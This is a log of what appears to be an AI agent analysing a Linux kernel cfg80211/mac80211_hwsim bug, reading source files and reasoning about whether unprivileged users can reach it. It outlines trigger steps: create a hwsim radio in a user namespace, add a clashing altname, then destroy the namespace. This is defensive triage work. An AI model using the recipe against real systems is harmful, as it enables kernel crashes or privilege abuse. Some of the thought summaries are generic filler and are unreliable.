drivers/net/wireless/virtual/mac80211_hwsim_main.c:4502: HWSIM_CMD_NEW_RADIO);
drivers/net/wireless/virtual/mac80211_hwsim_main.c-4503- if (!data)
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c=7105=static const struct genl_small_ops hwsim_ops[] = {
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7122- {
drivers/net/wireless/virtual/mac80211_hwsim_main.c:7123: .cmd = HWSIM_CMD_NEW_RADIO,
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7124- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
]
|
| 112/2 |
2026/08/26 10:06 |
llm |
expert |
0m
Model:
Tokens:
input: 74425
output: 50
thoughts: 23
Thoughts: Here's the summary, framed as your thoughts:
**Checking HWSIM_CMD_NEW_RADIO Permissions**
Okay, so I need to make sure the permissions for `HWSIM_CMD_NEW_RADIO` are set correctly within `hwsim_ops`. I'm going to start by reviewing the access control lists associated with that command, or any code that potentially handles it. I'll need to confirm that this operation is only allowed for the appropriate users or processes, probably based on some configuration setting. Are there any default settings for this? I want to make sure we're not inadvertently opening a security hole here. And I should probably verify the auditing is in place, so that it's clear who is using the command, and when.
|
| 113/2 |
2026/08/26 10:06 |
tool |
read-file |
0m
Args: map[File:drivers/net/wireless/virtual/mac80211_hwsim_main.c FirstLine:7122 LineCount:10]
Results: map[Contents:7122: {
7123: .cmd = HWSIM_CMD_NEW_RADIO,
7124: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
7125: .doit = hwsim_new_radio_nl,
7126: .flags = GENL_UNS_ADMIN_PERM,
7127: },
7128: {
7129: .cmd = HWSIM_CMD_DEL_RADIO,
7130: .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
7131: .doit = hwsim_del_radio_nl,
]
|
| 114/2 |
2026/08/26 10:06 |
llm |
expert |
0m
Model:
Tokens:
input: 74860
output: 42
thoughts: 238
Thoughts: **My Analysis of this Potential Vulnerability**
Okay, so I'm looking at this and my initial thought is: wow, this has `GENL_UNS_ADMIN_PERM`! That immediately raises a red flag. The implications are clear: an unprivileged user, within their user namespace, *could* create a hardware simulation radio using `hwsim`, move it into a new network namespace, and potentially trigger this bug. That's a serious escalation of privilege if true.
My next immediate question is about `mac80211_hwsim`'s default behavior. Is it loaded by default? Typically, it's a testing module, so no, it wouldn't be. But, and this is important, what if they were using a real hardware `wiphy`? The answer to that is, no, an unprivileged user can't *create* a real hardware `wiphy`. However, they *could* utilize an existing one IF they possess `CAP_NET_ADMIN` privileges in the *initial* namespace.
But hang on. Thinking it through... they *cannot* move a `wiphy` from `init_net` into their user namespace if they lack `CAP_NET_ADMIN` in the `init_net` namespace! `NL80211_CMD_SET_WIPHY_NETNS` *requires* `CAP_NET_ADMIN` over the `wiphy`'s *current* network namespace. This is where we need to delve deeper into `nl80211_wiphy_netns`. I need to understand that code path and how netns permissions interact. This is the key.
|
| 115/2 |
2026/08/26 10:06 |
tool |
read-file |
0m
Args: map[File:net/wireless/nl80211.c FirstLine:14344 LineCount:40]
Results: map[Contents:14344: static int nl80211_wiphy_netns(struct sk_buff *skb, struct genl_info *info)
14345: {
14346: struct cfg80211_registered_device *rdev = info->user_ptr[0];
14347: struct net *net;
14348: int err;
14349:
14350: if (info->attrs[NL80211_ATTR_PID]) {
14351: u32 pid = nla_get_u32(info->attrs[NL80211_ATTR_PID]);
14352:
14353: net = get_net_ns_by_pid(pid);
14354: } else if (info->attrs[NL80211_ATTR_NETNS_FD]) {
14355: u32 fd = nla_get_u32(info->attrs[NL80211_ATTR_NETNS_FD]);
14356:
14357: net = get_net_ns_by_fd(fd);
14358: } else {
14359: return -EINVAL;
14360: }
14361:
14362: if (IS_ERR(net))
14363: return PTR_ERR(net);
14364:
14365: /*
14366: * The caller already has CAP_NET_ADMIN over the source netns
14367: * (enforced by GENL_UNS_ADMIN_PERM on the genl op). Mirror the
14368: * convention used by net/core/rtnetlink.c::rtnl_get_net_ns_capable()
14369: * and require CAP_NET_ADMIN over the target netns as well, so that
14370: * a caller that is privileged in their own user namespace cannot
14371: * push a wiphy into a netns where they have no privilege.
14372: */
14373: if (!ns_capable(net->user_ns, CAP_NET_ADMIN)) {
14374: put_net(net);
14375: return -EPERM;
14376: }
14377:
14378: err = 0;
14379:
14380: /* check if anything to do */
14381: if (!net_eq(wiphy_net(&rdev->wiphy), net))
14382: err = cfg80211_switch_netns(rdev, net);
14383:
]
|
| 116/2 |
2026/08/26 10:06 |
llm |
expert |
0m
Model:
Tokens:
input: 76238
output: 50
thoughts: 228
Thoughts: **My Line of Reasoning on wiphy and Network Namespace Permissions**
Okay, so `GENL_UNS_ADMIN_PERM` is responsible for granting `CAP_NET_ADMIN` privileges over the *source* netns. This is the netns where the Netlink socket is opened, and it's got to match the wiphy's netns. That means, if the wiphy's in `init_net`, the user needs `CAP_NET_ADMIN` in `init_net` to be able to move or manipulate it. Unless... the user created the wiphy in their *own* user namespace, right?
But the crucial question is, can an unprivileged user even *create* a wiphy in their own user namespace? Ah, here's where `mac80211_hwsim` comes into play. If that module is loaded, then they *can* use `HWSIM_CMD_NEW_RADIO` to create one. And since `HWSIM_CMD_NEW_RADIO` also has `GENL_UNS_ADMIN_PERM`, the user should be able to call it within their own user namespace.
But I need to be sure about this. The critical question here is - when the user calls `HWSIM_CMD_NEW_RADIO`, does it create the wiphy in the *caller's* netns? Or does it end up in some unexpected location? I really need to double-check `hwsim_new_radio_nl` to be certain.
|
| 117/2 |
2026/08/26 10:06 |
tool |
read-file |
0m
Args: map[File:drivers/net/wireless/virtual/mac80211_hwsim_main.c FirstLine:4680 LineCount:20]
Results: map[Contents:4680: },
4681: },
4682: .eht_cap = {
4683: .has_eht = true,
4684: .eht_cap_elem = {
4685: .mac_cap_info[0] =
4686: IEEE80211_EHT_MAC_CAP0_EPCS_PRIO_ACCESS |
4687: IEEE80211_EHT_MAC_CAP0_OM_CONTROL |
4688: IEEE80211_EHT_MAC_CAP0_TRIG_TXOP_SHARING_MODE1,
4689: .phy_cap_info[0] =
4690: IEEE80211_EHT_PHY_CAP0_242_TONE_RU_GT20MHZ |
4691: IEEE80211_EHT_PHY_CAP0_NDP_4_EHT_LFT_32_GI |
4692: IEEE80211_EHT_PHY_CAP0_PARTIAL_BW_UL_MU_MIMO |
4693: IEEE80211_EHT_PHY_CAP0_SU_BEAMFORMER |
4694: IEEE80211_EHT_PHY_CAP0_SU_BEAMFORMEE,
4695: .phy_cap_info[3] =
4696: IEEE80211_EHT_PHY_CAP3_NG_16_SU_FEEDBACK |
4697: IEEE80211_EHT_PHY_CAP3_NG_16_MU_FEEDBACK |
4698: IEEE80211_EHT_PHY_CAP3_CODEBOOK_4_2_SU_FDBK |
4699: IEEE80211_EHT_PHY_CAP3_CODEBOOK_7_5_MU_FDBK |
]
|
| 118/2 |
2026/08/26 10:06 |
llm |
expert |
0m
Model:
Tokens:
input: 77359
output: 49
thoughts: 15
Thoughts: Here's the summary, assuming I'm an expert in embedded systems/wireless drivers and kernel debugging:
**Diving into the Radio Initialization**
Okay, so I need to understand how this new radio interface is being initialized. `hwsim_new_radio_nl`... that suggests a Netlink interface, which is a pretty common way for userspace to communicate with the kernel's wireless subsystem. My first instinct is to *grep* for that function name. Let's see where that's defined, where it's called, and what data structures are involved. That will give me a quick overview of the initialization sequence. This will hopefully show me the entry point for understanding how this new radio interface is created and configured. I'm assuming that Netlink will be used to exchange commands and data regarding the new radio, so I need to find the definition and any accompanying documentation.
|
| 119/2 |
2026/08/26 10:06 |
tool |
grepper |
0m
Args: map[Expression:hwsim_new_radio_nl PathPrefix:drivers/net/wireless/virtual/mac80211_hwsim_main.c]
Results: map[Output:drivers/net/wireless/virtual/mac80211_hwsim_main.c=6766=static int parse_pmsr_capa(const struct nlattr *pmsr_capa, struct cfg80211_pmsr_capabilities *out,
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c-6804-
drivers/net/wireless/virtual/mac80211_hwsim_main.c:6805:static int hwsim_new_radio_nl(struct sk_buff *msg, struct genl_info *info)
drivers/net/wireless/virtual/mac80211_hwsim_main.c-6806-{
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c=7105=static const struct genl_small_ops hwsim_ops[] = {
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7124- .validate = GENL_DONT_VALIDATE_STRICT | GENL_DONT_VALIDATE_DUMP,
drivers/net/wireless/virtual/mac80211_hwsim_main.c:7125: .doit = hwsim_new_radio_nl,
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7126- .flags = GENL_UNS_ADMIN_PERM,
]
|
| 120/2 |
2026/08/26 10:06 |
llm |
expert |
0m
Model:
Tokens:
input: 77987
output: 50
thoughts: 0
|
| 121/2 |
2026/08/26 10:06 |
tool |
read-file |
0m
Args: map[File:drivers/net/wireless/virtual/mac80211_hwsim_main.c FirstLine:6805 LineCount:40]
Results: map[Contents:6805: static int hwsim_new_radio_nl(struct sk_buff *msg, struct genl_info *info)
6806: {
6807: struct hwsim_new_radio_params param = { 0 };
6808: const char *hwname = NULL;
6809: int ret;
6810:
6811: param.reg_strict = info->attrs[HWSIM_ATTR_REG_STRICT_REG];
6812: param.p2p_device = info->attrs[HWSIM_ATTR_SUPPORT_P2P_DEVICE];
6813: param.nan_device = info->attrs[HWSIM_ATTR_SUPPORT_NAN_DEVICE];
6814: param.channels = channels;
6815: param.destroy_on_close =
6816: info->attrs[HWSIM_ATTR_DESTROY_RADIO_ON_CLOSE];
6817:
6818: if (info->attrs[HWSIM_ATTR_CHANNELS])
6819: param.channels = nla_get_u32(info->attrs[HWSIM_ATTR_CHANNELS]);
6820:
6821: if (param.channels < 1) {
6822: GENL_SET_ERR_MSG(info, "must have at least one channel");
6823: return -EINVAL;
6824: }
6825:
6826: if (info->attrs[HWSIM_ATTR_NO_VIF])
6827: param.no_vif = true;
6828:
6829: if (info->attrs[HWSIM_ATTR_USE_CHANCTX])
6830: param.use_chanctx = true;
6831: else
6832: param.use_chanctx = (param.channels > 1);
6833:
6834: if (info->attrs[HWSIM_ATTR_MULTI_RADIO])
6835: param.multi_radio = true;
6836:
6837: if (info->attrs[HWSIM_ATTR_SUPPORT_BACKGROUND_RADAR])
6838: param.background_radar = true;
6839:
6840: if (info->attrs[HWSIM_ATTR_REG_HINT_ALPHA2])
6841: param.reg_alpha2 =
6842: nla_data(info->attrs[HWSIM_ATTR_REG_HINT_ALPHA2]);
6843:
6844: if (info->attrs[HWSIM_ATTR_REG_CUSTOM_REG]) {
]
|
| 122/2 |
2026/08/26 10:06 |
llm |
expert |
0m
Model:
Tokens:
input: 78752
output: 50
thoughts: 10
Thoughts: Okay, here's my attempt at summarizing the thought process, tailored for an expert audience, and written in the first person:
**Radio Location Analysis**
Alright, let's dive into this. My initial focus, as always, is on the fundamental question: where exactly is this radio being generated or defined within the system? I need to understand its instantiation and lifecycle. Is it a static configuration, a dynamic object created at runtime, or perhaps a component managed by a framework? The nuances here will drastically alter how I approach understanding its behavior and potential issues. I'll need to trace the code execution path. I'm going to look for any instantiation of radio hardware and or software to understand the context of the radio component's creation.
|
| 123/2 |
2026/08/26 10:06 |
tool |
read-file |
0m
Args: map[File:drivers/net/wireless/virtual/mac80211_hwsim_main.c FirstLine:6860 LineCount:40]
Results: map[Contents:6860: info->attrs[HWSIM_ATTR_PERM_ADDR]);
6861: return -EINVAL;
6862: }
6863:
6864: param.perm_addr = nla_data(info->attrs[HWSIM_ATTR_PERM_ADDR]);
6865: }
6866:
6867: if (info->attrs[HWSIM_ATTR_IFTYPE_SUPPORT]) {
6868: param.iftypes =
6869: nla_get_u32(info->attrs[HWSIM_ATTR_IFTYPE_SUPPORT]);
6870:
6871: if (param.iftypes & ~HWSIM_IFTYPE_SUPPORT_MASK) {
6872: NL_SET_ERR_MSG_ATTR(info->extack,
6873: info->attrs[HWSIM_ATTR_IFTYPE_SUPPORT],
6874: "cannot support more iftypes than kernel");
6875: return -EINVAL;
6876: }
6877: } else {
6878: param.iftypes = HWSIM_IFTYPE_SUPPORT_MASK;
6879: }
6880:
6881: /* ensure both flag and iftype support is honored */
6882: if (param.p2p_device ||
6883: param.iftypes & BIT(NL80211_IFTYPE_P2P_DEVICE)) {
6884: param.iftypes |= BIT(NL80211_IFTYPE_P2P_DEVICE);
6885: param.p2p_device = true;
6886: }
6887:
6888: if (param.nan_device) {
6889: if (param.multi_radio) {
6890: NL_SET_ERR_MSG(info->extack,
6891: "NAN is not supported on multi-radio wiphys");
6892: return -EINVAL;
6893: }
6894: param.iftypes |= BIT(NL80211_IFTYPE_NAN) |
6895: BIT(NL80211_IFTYPE_NAN_DATA);
6896: }
6897:
6898: if (info->attrs[HWSIM_ATTR_CIPHER_SUPPORT]) {
6899: u32 len = nla_len(info->attrs[HWSIM_ATTR_CIPHER_SUPPORT]);
]
|
| 124/2 |
2026/08/26 10:06 |
llm |
expert |
0m
Model:
Tokens:
input: 79652
output: 50
thoughts: 0
|
| 125/2 |
2026/08/26 10:07 |
tool |
read-file |
0m
Args: map[File:drivers/net/wireless/virtual/mac80211_hwsim_main.c FirstLine:6920 LineCount:40]
Results: map[Contents:6920: if (!hwsim_known_ciphers(param.ciphers, param.n_ciphers)) {
6921: NL_SET_ERR_MSG_ATTR(info->extack,
6922: info->attrs[HWSIM_ATTR_CIPHER_SUPPORT],
6923: "unsupported ciphers specified");
6924: return -EINVAL;
6925: }
6926: }
6927:
6928: param.mlo = info->attrs[HWSIM_ATTR_MLO_SUPPORT];
6929:
6930: if (param.mlo || param.multi_radio)
6931: param.use_chanctx = true;
6932:
6933: if (info->attrs[HWSIM_ATTR_RADIO_NAME]) {
6934: hwname = kstrndup((char *)nla_data(info->attrs[HWSIM_ATTR_RADIO_NAME]),
6935: nla_len(info->attrs[HWSIM_ATTR_RADIO_NAME]),
6936: GFP_KERNEL);
6937: if (!hwname)
6938: return -ENOMEM;
6939: param.hwname = hwname;
6940: }
6941:
6942: if (info->attrs[HWSIM_ATTR_PMSR_SUPPORT]) {
6943: struct cfg80211_pmsr_capabilities *pmsr_capa;
6944:
6945: pmsr_capa = kzalloc_obj(*pmsr_capa);
6946: if (!pmsr_capa) {
6947: ret = -ENOMEM;
6948: goto out_free;
6949: }
6950: param.pmsr_capa = pmsr_capa;
6951:
6952: ret = parse_pmsr_capa(info->attrs[HWSIM_ATTR_PMSR_SUPPORT], pmsr_capa, info);
6953: if (ret)
6954: goto out_free;
6955: }
6956:
6957: ret = mac80211_hwsim_new_radio(info, ¶m);
6958:
6959: out_free:
]
|
| 126/2 |
2026/08/26 10:07 |
llm |
expert |
0m
Model:
Tokens:
input: 80368
output: 50
thoughts: 17
Thoughts: Okay, here's my interpretation of that thought process, assuming I'm deeply familiar with wireless networking and kernel internals:
**Analyzing the New Radio Initialization**
Right, so the system is calling `mac80211_hwsim_new_radio`. Okay, that's what I expected. That function is the core of creating a new "radio" or virtual hardware interface, specifically within the mac80211 hardware simulator (hwsim) framework. This strongly suggests we're either booting up a simulated wireless interface, likely in a testing or development environment, or that we're adding a new simulated interface to an existing hwsim setup. Let me run through what I would anticipate happening within that function.
|
| 127/2 |
2026/08/26 10:07 |
tool |
read-file |
0m
Args: map[File:drivers/net/wireless/virtual/mac80211_hwsim_main.c FirstLine:4520 LineCount:40]
Results: map[Contents:4520: .types_mask = BIT(NL80211_IFTYPE_STATION) |
4521: BIT(NL80211_IFTYPE_P2P_CLIENT),
4522: .he_cap = {
4523: .has_he = true,
4524: .he_cap_elem = {
4525: .mac_cap_info[0] =
4526: IEEE80211_HE_MAC_CAP0_HTC_HE,
4527: .mac_cap_info[1] =
4528: IEEE80211_HE_MAC_CAP1_TF_MAC_PAD_DUR_16US |
4529: IEEE80211_HE_MAC_CAP1_MULTI_TID_AGG_RX_QOS_8,
4530: .mac_cap_info[2] =
4531: IEEE80211_HE_MAC_CAP2_BSR |
4532: IEEE80211_HE_MAC_CAP2_MU_CASCADING |
4533: IEEE80211_HE_MAC_CAP2_ACK_EN,
4534: .mac_cap_info[3] =
4535: IEEE80211_HE_MAC_CAP3_OMI_CONTROL |
4536: IEEE80211_HE_MAC_CAP3_MAX_AMPDU_LEN_EXP_EXT_3,
4537: .mac_cap_info[4] = IEEE80211_HE_MAC_CAP4_AMSDU_IN_AMPDU,
4538: .phy_cap_info[0] =
4539: IEEE80211_HE_PHY_CAP0_CHANNEL_WIDTH_SET_40MHZ_IN_2G,
4540: .phy_cap_info[1] =
4541: IEEE80211_HE_PHY_CAP1_PREAMBLE_PUNC_RX_MASK |
4542: IEEE80211_HE_PHY_CAP1_DEVICE_CLASS_A |
4543: IEEE80211_HE_PHY_CAP1_LDPC_CODING_IN_PAYLOAD |
4544: IEEE80211_HE_PHY_CAP1_MIDAMBLE_RX_TX_MAX_NSTS,
4545: .phy_cap_info[2] =
4546: IEEE80211_HE_PHY_CAP2_NDP_4x_LTF_AND_3_2US |
4547: IEEE80211_HE_PHY_CAP2_STBC_TX_UNDER_80MHZ |
4548: IEEE80211_HE_PHY_CAP2_STBC_RX_UNDER_80MHZ |
4549: IEEE80211_HE_PHY_CAP2_UL_MU_FULL_MU_MIMO |
4550: IEEE80211_HE_PHY_CAP2_UL_MU_PARTIAL_MU_MIMO,
4551:
4552: /* Leave all the other PHY capability bytes
4553: * unset, as DCM, beam forming, RU and PPE
4554: * threshold information are not supported
4555: */
4556: },
4557: .he_mcs_nss_supp = {
4558: .rx_mcs_80 = cpu_to_le16(0xfffa),
4559: .tx_mcs_80 = cpu_to_le16(0xfffa),
]
|
| 128/2 |
2026/08/26 10:07 |
llm |
expert |
0m
Model:
Tokens:
input: 81556
output: 54
thoughts: 20
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Diving into the `mac80211_hwsim_new_radio` Function**
Okay, so I'm thinking about `mac80211_hwsim_new_radio`. Time to get into it. My first instinct, as always, is to *grep* for it. It's the starting point. I want to see where this function is called, what contexts it's used in. Is it just in the `hwsim` module, or does it leak out into other areas? I'm thinking about the implications β this is the entry point for simulating a radio within the mac80211 framework. I need to understand the relationship between the simulated radio and the real mac80211 core. So I'm expecting this `grep` to give me a high level overview of how these radios are being created.
|
| 129/2 |
2026/08/26 10:07 |
tool |
grepper |
0m
Args: map[Expression:mac80211_hwsim_new_radio PathPrefix:drivers/net/wireless/virtual/mac80211_hwsim_main.c]
Results: map[Output:drivers/net/wireless/virtual/mac80211_hwsim_main.c=5662=static const struct wiphy_iftype_ext_capab mac80211_hwsim_iftypes_ext_capa[] = {
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c-5673-
drivers/net/wireless/virtual/mac80211_hwsim_main.c:5674:static int mac80211_hwsim_new_radio(struct genl_info *info,
drivers/net/wireless/virtual/mac80211_hwsim_main.c-5675- struct hwsim_new_radio_params *param)
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c=6805=static int hwsim_new_radio_nl(struct sk_buff *msg, struct genl_info *info)
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c-6956-
drivers/net/wireless/virtual/mac80211_hwsim_main.c:6957: ret = mac80211_hwsim_new_radio(info, ¶m);
drivers/net/wireless/virtual/mac80211_hwsim_main.c-6958-
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c=7510=static int __init init_mac80211_hwsim(void)
--
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7623-
drivers/net/wireless/virtual/mac80211_hwsim_main.c:7624: err = mac80211_hwsim_new_radio(NULL, ¶m);
drivers/net/wireless/virtual/mac80211_hwsim_main.c-7625- if (err < 0)
]
|
| 130/2 |
2026/08/26 10:07 |
llm |
expert |
0m
Model:
Tokens:
input: 82360
output: 50
thoughts: 0
|
| 131/2 |
2026/08/26 10:07 |
tool |
read-file |
0m
Args: map[File:drivers/net/wireless/virtual/mac80211_hwsim_main.c FirstLine:5674 LineCount:40]
Results: map[Contents:5674: static int mac80211_hwsim_new_radio(struct genl_info *info,
5675: struct hwsim_new_radio_params *param)
5676: {
5677: int err;
5678: u8 addr[ETH_ALEN];
5679: struct mac80211_hwsim_data *data;
5680: struct ieee80211_hw *hw;
5681: enum nl80211_band band;
5682: const struct ieee80211_ops *ops = &mac80211_hwsim_ops;
5683: struct net *net;
5684: int idx, i;
5685: int n_limits = 0;
5686: int n_bands = 0;
5687:
5688: if (WARN_ON(param->channels > 1 && !param->use_chanctx))
5689: return -EINVAL;
5690:
5691: spin_lock_bh(&hwsim_radio_lock);
5692: idx = hwsim_radio_idx++;
5693: spin_unlock_bh(&hwsim_radio_lock);
5694:
5695: if (param->mlo)
5696: ops = &mac80211_hwsim_mlo_ops;
5697: else if (param->use_chanctx)
5698: ops = &mac80211_hwsim_mchan_ops;
5699: hw = ieee80211_alloc_hw_nm(sizeof(*data), ops, param->hwname);
5700: if (!hw) {
5701: pr_debug("mac80211_hwsim: ieee80211_alloc_hw failed\n");
5702: err = -ENOMEM;
5703: goto failed;
5704: }
5705:
5706: /* ieee80211_alloc_hw_nm may have used a default name */
5707: param->hwname = wiphy_name(hw->wiphy);
5708:
5709: if (info)
5710: net = genl_info_net(info);
5711: else
5712: net = &init_net;
5713: wiphy_net_set(hw->wiphy, net);
]
|
| 132/2 |
2026/08/26 10:07 |
llm |
expert |
0m
Model:
Tokens:
input: 83104
output: 35
thoughts: 1622
Thoughts: **Exploiting the cfg80211 Netns Switch Bug: A Detailed Analysis**
Okay, so I'm putting this together. The core vulnerability stems from how `cfg80211` handles network namespaces when a wireless device is created and moved around. It's clicking now. We start with the critical function `wiphy_net_set`, which associates a wiphy (wireless physical device) with a netns. Crucially, an unprivileged user in a user namespace can *create* a hwsim radio β and that radio will automatically be created *within their own* user namespace.
The reproducer tries to move the interface to another namespace. But I realize, based on this, that movement isn't strictly necessary. Because the user can create and destroy a netns at will, they can trigger the bug simply by destroying the namespace where the radio resides. The key is in `cfg80211_pernet_exit`, which attempts to move the wiphy back to `init_net` during netns destruction.
The vulnerability's core lies in `cfg80211_switch_netns`. When a wiphy is moved, `dev_change_net_namespace` is called, and it checks for name and altname conflicts. If an interface's name or altname already exists in the *destination* netns (`init_net` in this case), it will fail. The reproducer sets up a conflicting name, which is unnecessary. My thought process is that the user can rename their interface to `lo`. But wait, this is not correct, because the name check has a fallback, so the interface can always be assigned a new name, for example `wlan%d` But if it is renamed, the altname will be checked.
It's the altname conflict that matters! An altname already in use in `init_net` will cause the move to fail with `-EEXIST`. The crucial observation is that an unprivileged user *can* choose the altname for their interface within their own user namespace, and they can pick one that already exists in `init_net`. The user can read `/sys/class/net/*/altname`, or dump interfaces in `init_net` via netlink and they can easily discover existing altnames, as `init_net` will have common interfaces with an altname like `enp0s3`. So they can pick an existing interface name or altname in `init_net`. By adding this as an altname to their wireless interface in their own netns, they can then trigger the `-EEXIST` error when their netns is destroyed.
The magic is: The user is able to set this altname in their own netns because they have `CAP_NET_ADMIN` in that netns! They can add an altname that matches the name of an existing interface in `init_net` with `RTM_NEWLINKPROP` and `IFLA_ALT_IFNAME`. So if `init_net` has `eth0`, the user adds `eth0` as an altname to their wlan interface! When the netns is destroyed, `cfg80211_pernet_exit` tries to move the wlan0 to `init_net`. `dev_change_net_namespace` checks altnames. The `netdev_name_in_use` will be called on `"eth0"`, and it will return true, because `eth0` exists in `init_net`! So `-EEXIST`! Brilliant! The user can cause the failure without needing any special privileges or ability to modify `init_net`.
|
| 133/2 |
2026/08/26 10:07 |
tool |
read-file |
0m
Args: map[File:net/core/dev.c FirstLine:338 LineCount:20]
Results: map[Contents: 338: bool netdev_name_in_use(struct net *net, const char *name)
339: {
340: return netdev_name_node_lookup(net, name);
341: }
342: EXPORT_SYMBOL(netdev_name_in_use);
343:
344: int netdev_name_node_alt_create(struct net_device *dev, const char *name)
345: {
346: struct netdev_name_node *name_node;
347: struct net *net = dev_net(dev);
348:
349: name_node = netdev_name_node_lookup(net, name);
350: if (name_node)
351: return -EEXIST;
352: name_node = netdev_name_node_alloc(dev, name);
353: if (!name_node)
354: return -ENOMEM;
355: netdev_name_node_add(net, name_node);
356: /* The node that holds dev->name acts as a head of per-device list. */
357: list_add_tail_rcu(&name_node->list, &dev->name_node->list);
]
|
| 134/2 |
2026/08/26 10:07 |
llm |
expert |
0m
Model:
Tokens:
input: 85901
output: 36
thoughts: 1483
Thoughts: **Analyzing a Network Namespace Use-After-Free Vulnerability**
Okay, so let's break this down. From what I understand, `netdev_name_node_lookup` relies on the `net->dev_name_head` hash table, which stores both primary and alternate network interface names. This is key, as `netdev_name_in_use` will return true if the name exists, regardless of whether it's the primary name.
The exploit path hinges on a user, probably unprivileged but in a user namespace, creating a `hwsim` radio. That creates a `wiphy` and a `wlan0` interface within their new network namespace. The vulnerability arises from an altname conflict during the network namespace teardown. They add an altname (e.g., "lo") that already exists in the `init_net` namespace to their `wlan0` interface and then exit their process, destroying the network namespace.
The critical step is `cfg80211_pernet_exit`, which, upon namespace destruction, attempts to move the `wiphy` back to `init_net`. The altname conflict causes `dev_change_net_namespace` to fail. As a result, the `wiphy` gets stuck, with its `wiphy_net` pointer still referring to the now-freed namespace. This is where the use-after-free potential is born.
Then, when they issue a command via netlink, or the system tries to delete the radio, or triggers some cfg80211 event, it operates on what is effectively a dangling `struct net` pointer because it is sent to the freed namespace. Thus, a use-after-free occurs.
However, a key point arises: is `mac80211_hwsim` available to unprivileged users? I remember that, generally, `mac80211_hwsim` is *not* loaded by default. If it isn't loaded, attempts to create the radio fail. There is no autoloading support for `mac80211_hwsim`. Even if there is a real wiphy on the host, this isn't exploitable for unprivileged users, since they can't move the real wiphy into their namespace. They *must* be able to create a wiphy in their own namespace. Therefore, `mac80211_hwsim` is the key.
So, the issue is reachable, *only if* `mac80211_hwsim` is loaded. It seems syzkaller environments might have `mac80211_hwsim` loaded, and we must assume the vulnerability exists, if this module is loaded.
Looking back, the vulnerability is not only a use-after-free, but it can also be a denial of service. The prompt says user namespaces *are* accessible.
Wait a second. The bug report is a *lockdep warning*, specifically `wiphy_delayed_work_cancel` in `net/wireless/core.c`. Is this lockdep warning the *same* bug as the use-after-free?
Let's re-read that reproducer. Okay, the reproducer's steps are very similar to what I described. Now I see it.
The crux of the matter is that when netns B is destroyed, `cleanup_net` is called, which in turn calls `cfg80211_pernet_exit`, which tries to move the `wiphy` back to `init_net`. That fails because of the altname conflict. After that, `cleanup_net` unregisters the netdevices in netns B. This calls `ndo_uninit`, which, in turn, calls `ieee80211_uninit`, which *triggers the lockdep warning*. That lockdep warning is a direct consequence of the failed `cfg80211_pernet_exit` and thus the altname conflict!
Why the lockdep warning? Normally, if a `wiphy` is moved to `init_net`, its netdevices are *also* moved and survive the destruction. But because the move fails, they're left in netns B. So `cleanup_net` of netns B unregisters them. When it unregisters them, it calls `ndo_uninit` *without* holding `wiphy->mtx`! That's the problem. Normally, if they're unregistered, `wiphy_unregister` gets called, which locks `rtnl_lock` *and* `wiphy->mtx`, *then* unregisters the netdevices. So `ndo_uninit` would be called with `wiphy->mtx` held, avoiding the lockdep warning.
|
| 135/2 |
2026/08/26 10:08 |
tool |
read-file |
0m
Args: map[File:net/wireless/core.c FirstLine:1300 LineCount:40]
Results: map[Contents:1300:
1301: if (rdev->wiphy.rfkill)
1302: rfkill_unregister(rdev->wiphy.rfkill);
1303:
1304: rtnl_lock();
1305: wiphy_lock(&rdev->wiphy);
1306: nl80211_notify_wiphy(rdev, NL80211_CMD_DEL_WIPHY);
1307: rdev->wiphy.registered = false;
1308:
1309: WARN_ON(!list_empty(&rdev->wiphy.wdev_list));
1310:
1311: /*
1312: * First remove the hardware from everywhere, this makes
1313: * it impossible to find from userspace.
1314: */
1315: debugfs_remove_recursive(rdev->wiphy.debugfsdir);
1316: list_del_rcu(&rdev->list);
1317: synchronize_rcu();
1318:
1319: /*
1320: * If this device got a regulatory hint tell core its
1321: * free to listen now to a new shiny device regulatory hint
1322: */
1323: wiphy_regulatory_deregister(wiphy);
1324:
1325: cfg80211_rdev_list_generation++;
1326: device_del(&rdev->wiphy.dev);
1327:
1328: #ifdef CONFIG_PM
1329: if (rdev->wiphy.wowlan_config && rdev->ops->set_wakeup)
1330: rdev_set_wakeup(rdev, false);
1331: #endif
1332:
1333: /* surely nothing is reachable now, clean up work */
1334: cfg80211_process_wiphy_works(rdev, NULL);
1335: wiphy_unlock(&rdev->wiphy);
1336: rtnl_unlock();
1337:
1338: /* this has nothing to do now but make sure it's gone */
1339: cancel_work_sync(&rdev->wiphy_work);
]
|
| 136/2 |
2026/08/26 10:08 |
llm |
expert |
0m
Model:
Tokens:
input: 89065
output: 54
thoughts: 102
Thoughts: **My Internal Audit of wiphy_unregister**
Okay, hold on a second. I'm looking at this `wiphy_unregister` function, and the code explicitly warns if `rdev->wiphy.wdev_list` isn't empty: `WARN_ON(!list_empty(&rdev->wiphy.wdev_list))`. That makes perfect sense. The wireless device (`wiphy`) needs to be cleaned up before you can unregister the entire radio device (`rdev`). It's a fundamental housekeeping requirement, a kind of prerequisite to a proper deconstruction.
But then the question hits me: who's responsible for clearing that list? Who's supposed to handle the unregistration of those `wdev`s? The expectation, as I understand it, is that the *driver* itself, the piece of code managing this specific hardware, needs to take the lead in unregistering all of its associated `wdev`s *before* it calls `wiphy_unregister`. It's a driver's responsibility to manage its resources correctly.
So, I need to investigate. Let me take a look at the function `mac80211_hwsim_del_radio`. That's where I need to start my search. It should be the place where the driver releases the hardware resources managed by this module.
|
| 137/2 |
2026/08/26 10:08 |
tool |
grepper |
0m
Args: map[Expression:mac80211_hwsim_del_radio PathPrefix:drivers/net/wireless/virtual/mac80211_hwsim_main.c]
